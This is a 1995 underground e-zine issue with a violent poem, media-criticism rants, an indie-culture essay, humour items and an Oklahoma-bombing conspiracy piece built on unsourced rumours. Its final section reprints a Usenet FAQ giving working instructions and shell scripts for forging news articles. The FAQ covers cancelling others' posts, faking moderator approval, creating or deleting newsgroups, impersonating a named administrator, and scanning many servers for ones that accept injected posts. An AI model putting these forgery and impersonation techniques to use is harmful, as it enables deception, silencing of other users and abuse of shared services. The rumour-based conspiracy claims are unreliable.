BLAST.famy volume 1 ish #10 June 1995 6666666666 666 66666666666 666 666 666 6 666666666666 66666666666 666 666 666 66 66 66 666 666 666 666 66 66 666 666 666666666 666 666666666666 6666 666 666 666 666 666 666 66666666666 666 666 666 666 666 666 6666 666 666 666 66666666666 666 666 6666 666 666 666666666666 66666666666 666 666 6666666666666 666 F _ A _ M _ Y SPECIAL Journalistic Integrity Issue!!! +-------------------------------------------+ | "Don't let the facts get in the | | way of a good story." | | -Dan "Scoop" Miles" | +-------------------------------------------+ A Private World E-zine. Back Issues: http://www.shmooze.net/pwcasual/ezines/blast Publisher = P. W. Casual, C.E.O, PWE; C.O.B, PWC pwcasual@shmooze.net Editor-in-Chief = Mark "Jr" Jeftovic, markjr@shmooze.net, http://www.shmooze.net/~markjr Subscriptions: email pwcasual@shmooze.net and say "Sign me Up!!" ---------------------------================------------------------- ||||||||||||||||||| m a l - C O N T E N T S ||||||||||||||||||| ===========================---------------========================== Stacy Tartar Everywhere Stiffs Jr's RRRrrrrrrrrant: "" Project MaCluhan on the Net alt.Patriots EXTRA! EXTRA! Nostradumus Predicts O.J. Trial!!! James McMartin Hope I Die Before I get Sold Joe J. Deagnon: Scent of Blood For Informational Purposes Only: FAQ. Better Living Through Forgery EVERYWHERE STIFFS ----------------- Local news, cop-plots invade daydreams, Gun down stiffs at Dairy Queens. Every day my mind composes scenes, Mayhem, murder, piercing screams. Everywhere stiffs. Midday park, the Yellow sky not dark, Singing larks--then-- Saber-toothed slice And dead 'neath bark! Everywhere stiffs. Rush hour highway driving back, Sudden hit, snipe atttack! Veering, skidding, head-on smack, Exploding mushroom, metal flack, And fourteen killed, right on track. Everywhere stiffs. Market, waiting there on line, Shiver shoots up-down your spine! Man in front reveals the sign for Stick-up, panic, terror-blind. Everywhere stiffs. Paranoia, maybe true. Maybe you're a victim, too. Or it may be that you will see A victim Of me. Everywhere stiffs. JR's Rant: "Freedom of the press is limited to those who own one" There was a time when I thought that if the media told me something, there must be at least a semblance of credibility to it, since "the powers-that-be" must have put at least a modicum of forethought or investigative contemplation into the issue before throwing a multi-million (or thousand) dollar media apparattus behind it. Then I discovered cynicism, and I thought vested interests ruled the day, and I was a fool for allowing for any other motivation. Now I realize (or at least my current theory is) that it is PLAIN IGNORANCE that accounts for the lion's share of mass media's blundering today. Having glimpsed the inside of the beast, I glean a panicked "flying-by-the-seat-of-the-pants" fervour, coupled with a compulsive hard-on for "new spin" that moves media as we know it to hopelessly butcher virgin ripples in the space-time continuum that would otherwise be loosely described as "reality". When was the last time the mainstream media told you anything about "the internet" that you didn't already know? Was there a last time? Perhaps it's more accurate to ask when was the last time the mainstream media sounded halfway intelligent when commenting on the subject? It's all the same: "FTP means File Transfer Protocol. Virtual Communities abound on the Information Superhighway. The World Wibe Web is an explosively popular facet of the internet used by pedeophiles to trade kiddie porn, terrorists to obtain bomb-making schematics and racist organizations to disseminate hate literature...among other uses". In all the cyber-hype I have seen bandied about the press, I rarely, if ever, see it cited correctly. One of this city's "big three" suppliers of hamster-cage lining once ran an in-depth (ha!) overview of THE ROLLING STONES WEB PAGE!!!, complete with adorations of the ingenuity involved whilst praising their technological ground-breaking spirit and not once bothering with frivolous details like the god-damn URL. Herein lies the barb. Those pesky old-boys in the hallowed halls of the "we'll tell you" media aren't used to the idea that with an extra sentence of crytic techno-speak, any and all of the audience can verify or villify what they're on about for themselves. In fact, the rest of the piece could be dispensed with entirely. The tacit assumption seems to be, when the mainstream addresses the internet, that they are talking about "other people", as if nobody in their audience could concievably be involved in such a glamorous venture themselves. It's in the realm of experts, hackers, celebrities or diddlers. What's evident to me is the fact that all the pronouncements from the mainstream come from lowtech-peasants who clearly have NO UNDERSTANDING of the technology at hand. Whether it's our slick new premier-elect with his "Fake Usenet Posts Are A Threat to National Security" sleazeball political tactics, the daily press who actually took him seriously, or dillitente political science professors professing that the virtual virtual-ness of pan-neo-cyber-virtualism will virtualize everyone; it's "all nonsense dolled up to look like thinking". All I can really say is before they pump their lofty *conjectures* on an unwitting public, giving a cursory scan to the FAQ may not suffice, Read The Fuckin Manual. +++++++++++++ alt. Patriots Marshall McLuhan said many times that in a society in which technology has been allowed to run rampant, the driving quest for individual self-expression will cause borderline personalities to resort to violence as a means of self-discovery. That said, the Oklahoma bombing is more than that. How much more? We can t say for sure. But we do know that the emergence of secondary and tertiary modes of communication (such as what you are reading now!) allow in-depth probing into news stories on a level never before experienced in the history of this century. How many bombs actually went off in Oklahoma? The mainstream media says"one," but floating in Cyberspace on the Net you can now find a printout from a seismograph near the bomb site that suggests at least two explosions. Also floating in Cyberspace can be found extracts of intercepted ground transmissions from FBI agents at the site suggesting that a third device, more potent than the first two, was found unexploded. Conspiracy buffs looking for"motive" (they already have"means" and"opportunity") can also request electronic access to the text of Resolution No. 1047 passed in 1994 by the Oklahoma State Legislature protesting the so-called"New World Order." Oklahoma was the first state to pass such a resolution which includes the statement that (quote)"global government would mean the destruction of our constitution, and corruption of the spirit of the Declaration of Independence, our freedom, and our way of life" (unquote). If this sounds suspiciously like the agenda of many of the so-called"Patriot" movements, it is. Our sources also shared with us the fact that an announced"general meeting" of the Patriot movement in Philadelphia at the end of this year has been a source of annoyance to the federal authorities for some time. No less a source than Strategic Investment, the official newsletter from the authors of the publishing mega-hit THE GREAT RECKONING, repeated the rumours that federal forces had been planning a"search and destroy" mission on Patriot groups since March of this year. True? False? Sometimes, it seems, too much information is really too little... also from the MacLuhan Reader, included just for kicks: alt.Humour (Look for the hidden grievance!) A guide dog for the blind was given his last chance after he had led his first four owners to their deaths. The Alsatian, renamed Lucky because he survived so many close scrapes, is to be handed over to his fifth owner after intensive retraining. Lucky led his first owner in front of a moving bus and the second off the end of a pier," said his new trainer, Ernst Gerber, of Wuppertal, Germany."He actually pushed his third owner off a railway platform just as the Cologne to Frankfurt Express was approaching, and he walked his fourth owner into heavy traffic, before abandoning him and running away to safety. Basically, Lucky is a damned good guide dog. He just needs a brush-up on some elementary skills. Apart from the epileptic fits, he has a lovely temperament." Ernst said the next owner would not be told of Lucky s past."It would make them nervous, and that would make Lucky nervous," he explained. (D.Record, 13 Dec; Europa Express, Dec 1993.) duh.duh.duh.duh.duh.duh.duh.duh.duh.duh.duh.duh.duh.duh.duh.duh.duh.duh.duh The name has been omitted from the following post to protect the idiotic: Newsgroups: alt.prophecies.nostradamus Subject: Re: Did Nostradamus Predict the O.J. Simpson Trial? Does anyone know where this can be found? I was searching through his Quatrains and haven't yet found it. Thanks. >Amazing but true, that seer of old, Nostradamus once wrote: > >"When millennium is six years nigh > The gladiator Orenthal shall fly; > On bronco white as snow hare's > fleece and wood of Brent shall have no peace." (keep looking, i'm SURE it's there somewhere) $$R$$$$$I$$$$P$$$$$$$$$$$$$$ Hope I Die Before I Get Sold by James McMartin $$$$$$$$$R$$$$I$$$$$P$$$$$$$ Truth. Innovation. Danger. Rebellion. These values are what initially attracted us away from the sterility of the mainstream to the excitement of underground culture. Indeed, the product (the words, music or images) should be secondary to these concerns. The spirit of indie-rock-alterna-punk is just that - a feeling. Unfortunately, now is a time when most indie culture simply pays lip service to these values. The truth is that there is no innovation, the danger is nonexistent and the rebellion is a prepackaged pose. Though we sneer at Michael Bolton fans, mall shoppers and other mainstreamers, our culture is as non-threatening and ultimately as trivial as theirs. Don't get the impression that this is the standard rant about "selling out." You can't sell what is already sold, and more importantly, what is not yours to sell. If anyone has sold out (or rather "bought in"), it is the youth who so greedily lapped up media spewings about "Generation X" (how can you define an entire generation?) and "slackers" and "losers" (is being labelled "lazy" and "stupid" that attractive an option?). The latter term brings into focus another collaboration with the mainstream - shifting of blame and responsibility. If one has to find a villain, we would rightly assume it to be the media and consumerist culture. If so, why are we sleeping with the enemy? You might remember the enemy hyping spoken word to us last year. Poets like Reg E. Gaines and Maggie Estep rode the media wave, all the way from magazines to MTV to...nothing. Not surprisingly, poetry didn't go over big with the mainstream (they already have TV to tell 'em how to "think".). The underground also rejected 'em - we have have Gap spokesmodel Henry Rollins and doom 'n' gloomer Lydia Lunch to confirm our worldview. Our poets, like the mainstream's televangelists, are preaching to the converted, telling 'em what they want to hear. The difference is that the TV preachers tell you there's a heaven and you can go there (if you pay) while our poets-in-residence tell you there's a hell, you're already in it...and you've already paid. The music scene is likewise hopeless. Artists like Rage Against the Machine imply rebellion with their name, stance and lyrics. Of course, they're not too rebellious to work for a multinational conglomerate (Sony). You're raging for the machine, my friends. In a probable response to charges like these, the band decided to prove their mettle at the 1993 Lollapalooza. At the Philly show, the band appeared on stage nude but for tape on their mouths and the letters "P.M.R.C." written on their chests. In the audience, much head-scratching ensued ("Whaaa?"), and the better informed asked themselves, "Does (music censors/labellers) the Parents Music Resource Centre even exist any more?" Next time, guys, remember: to make a difference, someone has to care. Rage not "indie" enough for you? How about Fugazi? They own/run their own label despite major label buyout offers, keep concert prices exceptionally low and have politically correct lyrics about sexual harassment, etc. Unfortunately, price-haggling is still price-haggling whether or not you're wearing a nose ring and tattoo - it's not a question of being anti-money, it's just a question of how much. Lyric-wise, you can get socially sanctioned P.C. attitude from the likes of (the mainstream's) Sting. Youch. Is there a difference? I can't see a difference. So let's get extreme. How about dirt rocker G.G. Allin, shockmeister extraordinaire? He appeared onstage nude (sometimes w/stockings and high heels for that touch of class), physically abused himself and lucky audience members and shat on stage and ate it. I would venture to say that you can't get much more extreme than that. Well, not to deny G.G. his innovation - let's just say it was "more" innovative when Viennese performance artist Gunter Brus did the exact same act in the late '60's. Ultimately, G.G.'s death tells the whole story - though he claimed he would commit suicide onstage, he ended up overdosing on some guy's couch - typical rock star death. The sad truth is that, if you really wielded any sort of threat to the establishment (of which the music industry is a not insignificant part) you wouldn't be allowed to exist. Where is the threat in "new punk" bands like Green Day or the Offspring? This is not punk, it's just another flavour of pop. These bands are only too ready to embrace the media and major labels and fit in their nice peg on college radio charts. Contrast with the "old" punk: when the Sex Pistols released their "God Save the Queen" single in the Jubilee year, all the singles were initially recalled. The song title couldn't even be listed in the charts. That's a threat. The art of the underground is similarly limp (if I have to look at another "scary" skull logo or stolen comic book art piece...then we'll see some rebellion!). The most dangerous artist that springs to mind is Florida's Mike Diana. Mike's been in the news recently because of his recent trial in which he was found guilty of publishing, distributing and advertising obscene materials (his comic, Boiled Angel). Zines everywhere sprang to his defense, asking for us to support him. (By the way, why is it that the only time I ever hear about "the scene" is when I'm being asked to support it?) Tellingly, the zines didn't reprint any of the art in question. If you consider scribbles or "poo-poo bum-bum" to be shocking, you'll be shocked. For this reason and more, we should question and resent being asked to support Mike Diana. Some may question, "Isn't "indie" short for 'independence'?" Is it possible he's profiting from the resultant publicity? (Tell the truth - did you ever hear of him before his case came to court?) Lastly, why didn't he ask the undercover cops who caught him for an age statement before selling to them? This "rule-breaker" broke one of the few rules in the underground - he was stupid enough to get caught. Some say we should support Diana regardless of the quality of his art, that it's a censorship issue. These arguments are similar to the mainstream's sudden concern over "freedom of the press" only when the juicy details of a Bernardo or Simpson trial may be withheld. Where were the zine articles supporting Salman Rushdie? Of course, Diana chose the old "mirror of society" defence, and stated that his art showed empathy with the victims. Yeah, well, we're all mirrors of society, but we don't all reflect one limited, juvenile aspect of it. Likewise, one wonders how any victim of, say, child abuse would appreciate Diana's "empathy" upon viewing his scrawl of a kid with a 12-foot dick in his butt. Come on! The reason censors chose Diana's stuff as a target is because, like 2 Live Crew, Andrew Dice Clay, etc., it is beyond defence. In fact, anti-censorship troops should be angry with Michael for setting a dangerous precedent. Taxpayers are already pissed because the trial cost them $50,000. Certainly, we shouldn't question the right of his comic to exist, but we should question the reason. Moving to literature, Answer Me is a mag that questions all of our existences. Probably the premier example of an underground mag - named by zine bible Factsheet Five as the best, popular enough to have an anthology on the stands by only its third issue and having something in it to offend just about everybody. Theme issues have dealt with murder, suicide and rape. Sounds like it carries enough social/cultural weight to make a difference, right? Wrong. A token copy of Answer Me is just as much an accessory as a nose ring - and just as dangerous. The mag fails because it is ideologically unsound. Included in his book, Apocalypse Culture, author/editor Adam Parfrey's "Aesthetic Terrorism" essay sets the tone: "We must look to the true outsiders for an artist truly capable of effective counter-terror against the insidious mantras of consumerist brainwash." Parfrey cites Charles Manson and John Hinckley Jr. as examples - notably men of action. Answer Me -on the surface- shares this philosophy (Parfrey in fact contributed to ish #3), claiming to hate their readers, hate their families, etc. On the other hand, they brag about the lack of spelling errors in their mag. Spot the diff? If A hates B, why does A produce a glossy, error-free mag for B's entertainment? To put it another way, Guitar Player Magazine's editors play guitar, Field and Stream editors fish - why don't the Answer Me editor's put up or shut up? As real man of action Sid Vicious wrote: "Be a man! Kill someone! Kill yourself!" As for the Answer Me readers, they are as pathetic as the (mainstream) TV zombies. The difference is that while Oprah & Donahue watchers denounce the sex and violence onscreen while hypocritically getting off on it, Answer Me readers claim to be on the fringe, while in fact being boring - sheep in wolves' clothing. In addition, they actually have the nerve to condemn others who are just shopping in a different part of the same store. We are each buying a different brand of what is, despite all claims of "danger," only entertainment. Is the "indie"-ness of some of the above examples questionable? Well, punk (as noted earlier) is more of a spirit or ideal and, like "cool," is constantly shifting. Let the media define and, as such, limit it. If examples were given here of what indie supposedly was, it's certain they would be destroyed by the media hitmen as the "next big thing." So while it isn't certain what indie is, we know what it isn't. There's nothing wrong with empty entertainment - as long as you admit that's what it is. Remember the old joke about Michael Jackson's Thriller album? It was a Number One album that no one bought. Take the "guilt" out of "guilty pleasure" and enjoy your Soundgarden and Smashing Pumpkins. However, unless you're willing to take action and create some danger and rebellion, don't pretend you're better than others. Then we'll at least have something no one is interested in buying or selling - the truth. ---- ++++ ____ ++++ ---- ++++ ____ ++++ ---- ++++ ____ ++++ ---- ++++ ---- Joe J. Deagnon's: Scent of Blood -------------------------------------------------------------------------- I took E.N.G. in college, and let me tell you, it did not endear me to the journalistic community. E.N.G. is supposed to be the television equivalent of newspaper reporters, except in this case they have a large chunk of machinery attached to their shoulder with a lens, a blinking red light, and three computer chips embedded in it, instead of a pencil behind their ear. These are the kind of brave war torn heros that grace the bus shelter posters here in Toronto, diving through flaming hoops, and advertising their brand of news reporting. This is the savvy news hound that gets his/her tips by sucking up to anyone and everyone. From City Council, all the way down to the retro-punk teenyboppers scrounging change outside their very station, these pillars of "truth" will stop at nothing to make sure we, the public, have a right to *know*. --------------------------------------------------------------------- "You want to sell 'em A-bombs, ya gotta sell 'em fear, see..?" -Dennis Dimbleby Bagly, "How To Get Ahead In Advertising" --------------------------------------------------------------------- When you turn on your tube, pick up a newspaper, or listen to some insipid radio college-educated moron blathering away on the airwaves about what's goin' on in this world of ours, it's probably going to be a far cry from the truth. (Or at the very least, a hideously ill informed version of the reality.) Sensationalism is not a new term, but it's death and destruction that gets us sticking our necks down the street to see who got bisected by a streetcar, or hacked in the neck with a nine inch meat cleaver. The horrible thing is not the act itself, but the way in which we are informed about the act, that is the tragedy of journalism. "SEVEN BODIES SO FAR!!!" scream the headlines. Hideousness after hideousness splashed haphazardly across the paper boxes in full view of several small girls jumping rope. (Or has the "news" convinced us that they're all selling crack and prostituting themselves by the age of ten?) I see page after page of this madness! Let's discuss the fact that given any grade six schooling, (which is the highest level "news media" is allowed to climb, we were told in E.N.G. class) a quick glance at any paper box on your way home from the Quickie Mart allows your mind to process a huge photo of Karla Homolka's ugly, black-eyed, wife-battered pate, with accompanying sorrid headline, before you are even given the democratic chance to decide not to look!! I really don't think that all this information is necessarily a good thing. Anyone can grab a newspaper and start reading about some deluded chuckle head who severs his own penis, throws it in the back of his pickup, races to Yourtown General to have it sewed back in place, before the poor bastard bleeds to death. Do these things really need to be told? Television stations are just as pathetic. "TOP STORY!! SOMEONE HAS BEEN >>>>>>>>>>>>STABBED<<<<<<<<<<<<< FIFTY TWO TIMES IN THE FACE!!! IN HIS OWN DRIVEWAY!!! THAT'S ALL WE KNOW AT THIS TIME, STAY TUNED FOR FURTHER DEVELOPMENTS!!" What kind of bullshit is that? Christ! Now, I'm in a panic stricken paralysis, fearing I'll be the next middle class slob to step out on my front lane and be hacked to pieces by some anonymous maniac with a fondness for kitchen implements!! Okay. So I gotta tune in tomorrow, just in case I have to leave my home to get milk, bread, or cigarettes! There I sit, feverishly waiting for a fucking development on poor John Q. Loser slashed to bits in driveway X, his head nearly severed by the blows. Later, we discover that John Q. Loser had a little fetish for standing in his bay window and masturbating whenever Mrs.Cravetts took her poodle for a walk. Oh, yeah, by the by, he's also been fucking the next door neighbors' wife on weekends. The husband's had enough, and an altercation ensued on the dividing line between their houses. He was stabbed *twice* in the groin area, with a small gardening tool, bled to death and the husband has been taken into custody. The trial starts next year. Whew!! What a relief, huh!? I can feel safe again! Thank you Mr.Newsman! Thank you for sending me into a frothing panic over nothing!! Well it's all the pursuit of telling us like it is, huh? It's no happy co-incidence that the (ugh..I even feel sick to my stomach mentioning it) O.J. Simpson trial has become televised entertainment. (Albeit, as entertaining as a really bad episode of Geraldo.) This way we supposedly get to see the whole thing unfold in front of our eyes--no tricks! Well, I hate to break the sad news to you, Chucky, but if you believe that anything on tee vee is real, then you believe male porn stars really stay hard for a two hour smut video, and actually cum seven times in five minutes. (You also get emotionally drained watching an episode of 90210.) I'm not one to peddle the idea of reality, God knows! Sometimes I really think television *is* reality, and reality is...less...than.....AIEEEEE!!!!! No, Dr.Oblivion, say it ain't so!!! The depths to which news journalists will sink to make their stories interesting, makes fiction seem entirely flaccid. Who wants to read Franz Kafka, when any day of the week you can flip on some idiotic "reality" talk show, and see a bunch of cockroaches arguing their faces off for an hour about how they feel it was their right to participate in a 257 man gang bang, or how little Mary set her family on fire "just for fun"?? Or turn to page two of the local news rag and get the skinny on what the jurors saw in those heinous snuff videos used as evidence?? In an effort to steal us away from more enlightening, life affirming pursuits, they have to give us the sound byte, encapsulated ideal extremes of the darkest, sleaziest, and most depraved side of human nature, or the most sickeningly sweet, heroic, unselfish version of our duality. (more often than not, the former.) The jounalist still hasn't realized that you can't solve the world's ills in an over hyped news article, or a one hour television magazine. Then again, that's not their job, anyway! Better to just spice it up to the maximum! Zoom in on that pathetic, fat faced mother as she blubbers like an idiot on national television over her dead family members!! Have a weekly pictorial on battered housewives on the front page of your local newspaper, and throw in a couple of car accident photos while we're at it!! The public needs to be aware of these things, because only by being aware of these evils will we realize just how good we have it compared to the poor shmuck we're reading about, or watching on the six o'clock news. Do we actually think that every last one of us, by constant reminder, will never repeat another atrocity? Heaven forbid! What the hell would the news hounds report??! I'm not going to try and tell you I have any answers. I just thought I'd make you aware of my particular take on this reality. In fact, I may be no better than those heathenous bastards chasing ambulances, or pretending to give a shit by wiping that poor mother's tears away on a show that I got one of my lackeys to coerce her into..... The distortion of truth, and the exploitation of other people's dysfunctions, passing it off in front of millions of viewers as healthy catharsis, are the journalists' main weapons. In his/her fight to bring entertainment disguised as knowledge into your humble abode, he/she finds out where the sideshow is happening, so you don't have to! Whether it's a politician running around in his parlimental monkey house, John Q. Pinhead expiring like a sardine in his man made death mobile, or Aerosmith's latest piece of shit record, they'll be there to tell you in their own urgent, twisted way, how big and bad the promises are, how horribly some poor slob died, or how good that new disc is going to sound when you get it home. But you and I both know that debts never go away, we all gotta go sometime (hopefully not on page one), and you'd be better off blowing your cash on a box of Silly Putty than Aerosmith's latest outing. -------------------------------------------------------------- "Why don't you see it for what it is...a fucking freakshow.." -Monster Magnet--"Spine Of God" -------------------------------------------------------------- ==== === OnlY FOR ======== ==== === ============= PURPOSES Informational ======== ============= Subject: FAQ: Better living through forgery Message-ID: Expires: 8 Oct 95 13:20 Approved: tale@uunet.uu.net Organization: UUNet, the center of the known universe Sender: tale@uunet.uu.net (David C Lawrence) Date: 28 Apr 1995 02:37:09 GMT Lines: 155 Xref: inforamp.net news.admin.misc:17347 alt.config:1840 alt.hackers:1180 alt.current-events.net- abuse:18501 alt.online-service:3877 alt.2600:41939 news.n Anonymous netnews without "anonymous" remailers Inspired by the recent "NetNews Judges-L" events, this file has been updated to cover forging control messages. It is being posted periodically to addres the increasing trend of "how do I fake news?" questions from the lamers, and the revelation that anonymous remailers are UNSAFE. In addition to anonymous posting, you can also do your own article canceling and create and destroy your own newsgroups using the information presented here. Save any news article to a file. We'll call it "hak" in this example. Edit "hak", and remove any header lines of the form From some!random!path!user (note: "From ", not "From: " !!) Article: Lines: Xref: Shorten the Path: header down to its LAST two or three "bangized" components. This is to make the article look like it was posted from where it really was posted, and originally hit the net at or near the host you send it to. Or you can construct a completely new Path: line to reflect your assumed alias. Make some change to the Message-ID: field, that isn't likely to be duplicated anywhere. This is usually best done by adding a couple of random characters to the part before the @, since news posting programs generally use a fixed-length field to generate these IDs. Change the other headers to say what you like -- From:, Newsgroups:, Sender:, etc. Replace the original message text with your message. If you are posting to a moderated group or posting a control message, remember to put in an Approved: header to bypass the moderation mechanism. To specifically cancel someone else's article, you need its message-ID. Your message headers, in addition to what's already there, should also contain the following with that message-ID in it. This makes it a "control message". NOTE: control messages generally require an Approved: header as well, so you should add one. Subject: cmsg cancel Control: cancel Approved: luser@twits.site.com Newsgroups are created and destroyed with control messages, too. If you wanted to create, for instance, comp.misc.microsoft.sucks, your control headers would look like Subject: cmsg newgroup comp.misc.microsoft.sucks Control: newgroup comp.misc.microsoft.sucks Add on the string "moderated" at the end of these if you want the group to be "moderated with no moderator" as with alt.hackers. Somewhere in the body of your message, you should include the following text, changed with the description of the group you're creating: For your newsgroups file: comp.misc.microsoft.sucks We don't do windows To remove a group, substitute "rmgroup" for "newgroup" in the header lines above. Keep in mind that most sites run all "rmgroup" requests through a human news-master, who may or may not decide to honor it. Group creation is more likely to be automatic than deletion at most installations. Any newsgroup changes are more likely to take effect if the come from me, since my name is hardwired into many of the NNTP control scripts, so using the From: and Approved: headers from this posting is recommended. Save your changed article, check it to make sure it contains NO reference to yourself or your own site, and send it to your favourite NNTP server that permits transfers via the IHAVE command, using the following script: ======================= #! /bin/sh ## Post an article via IHAVE. ## args: filename server if test "$2" = "" ; then echo usage: $0 filename server exit 1 fi if test ! -f $1 ; then echo $1: not found exit 1 fi # suck msg-id out of headers, keep the brackets msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \ sed 's/.*-[Ii][Dd]: //'` echo $msgid ( sleep 5 echo IHAVE $msgid sleep 5 cat $1 sleep 1 echo "." sleep 1 echo QUIT ) | telnet $2 119 ======================= If your article doesn't appear in a day or two, try a different server. They are easy to find. Here's a script that will break a large file full of saved netnews into a list of hosts to try. Edit the output of this if you want, to remove obvious peoples' names and other trash. ======================= #! /bin/sh FGV='fgrep -i -v' egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\ /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp ======================= Once you have your host list, feed it to the following script. ======================= #! /bin/sh while read xx ; do if test "$xx" = "" ; then continue; fi echo === $xx ( echo open $xx 119 sleep 5 echo ihave IamSOk00l@podunk.edu sleep 4 echo . echo quit sleep 1 echo quit ) | telnet done ======================= If the above script is called "findem" and you're using csh, you should do findem < list >& outfile so that ALL output from telnet is captured. This takes a long time, but when it finishes, edit "outfile" and look for occurrences of "335". These mark answers from servers that might be willing to accept an article. This isn't a completely reliable indication, since some servers respond with acceptance and later drop articles. Try a given server with a slightly modified repeat of someone else's message, and see if it eventually appears. Sometimes the telnets get into an odd state, and freeze, particularly when a host is refusing NNTP connections. If you manually kill these hung telnet processes but not the main script, the script will continue on. In other words, you may have to monitor the finding script a little while it is running. You will notice other servers that don't necessarily take an IHAVE, but say "posting ok". You can probably do regular POSTS through these, but they will add an "NNTP-Posting-Host: " header containing the machine YOU came from and are therefore unsuitable for completely anonymous use. PLEASE USE THE INFORMATION IN THIS ARTICLE FOR CONSTRUCTIVE PURPOSES ONLY. ---End of BLAST.famy v1 ish 10 ---End of BLAst.famy volume 1 ---End of an Era ---BLAST.famy volume 2 commences late June/early July with a full fledged Web-zine edition. |||| mark jeftovic ||||| http://www.shmooze.net/~markjr |||| |||| p r i v a t e w o r l d ||||| Create Yer Own cOunTEr-cULtUre |||| ------------------------------------------------------------------------------ 19 Tyndall Ave. #3 * Toronto * Ontario * C A N A D A * M6K 2E8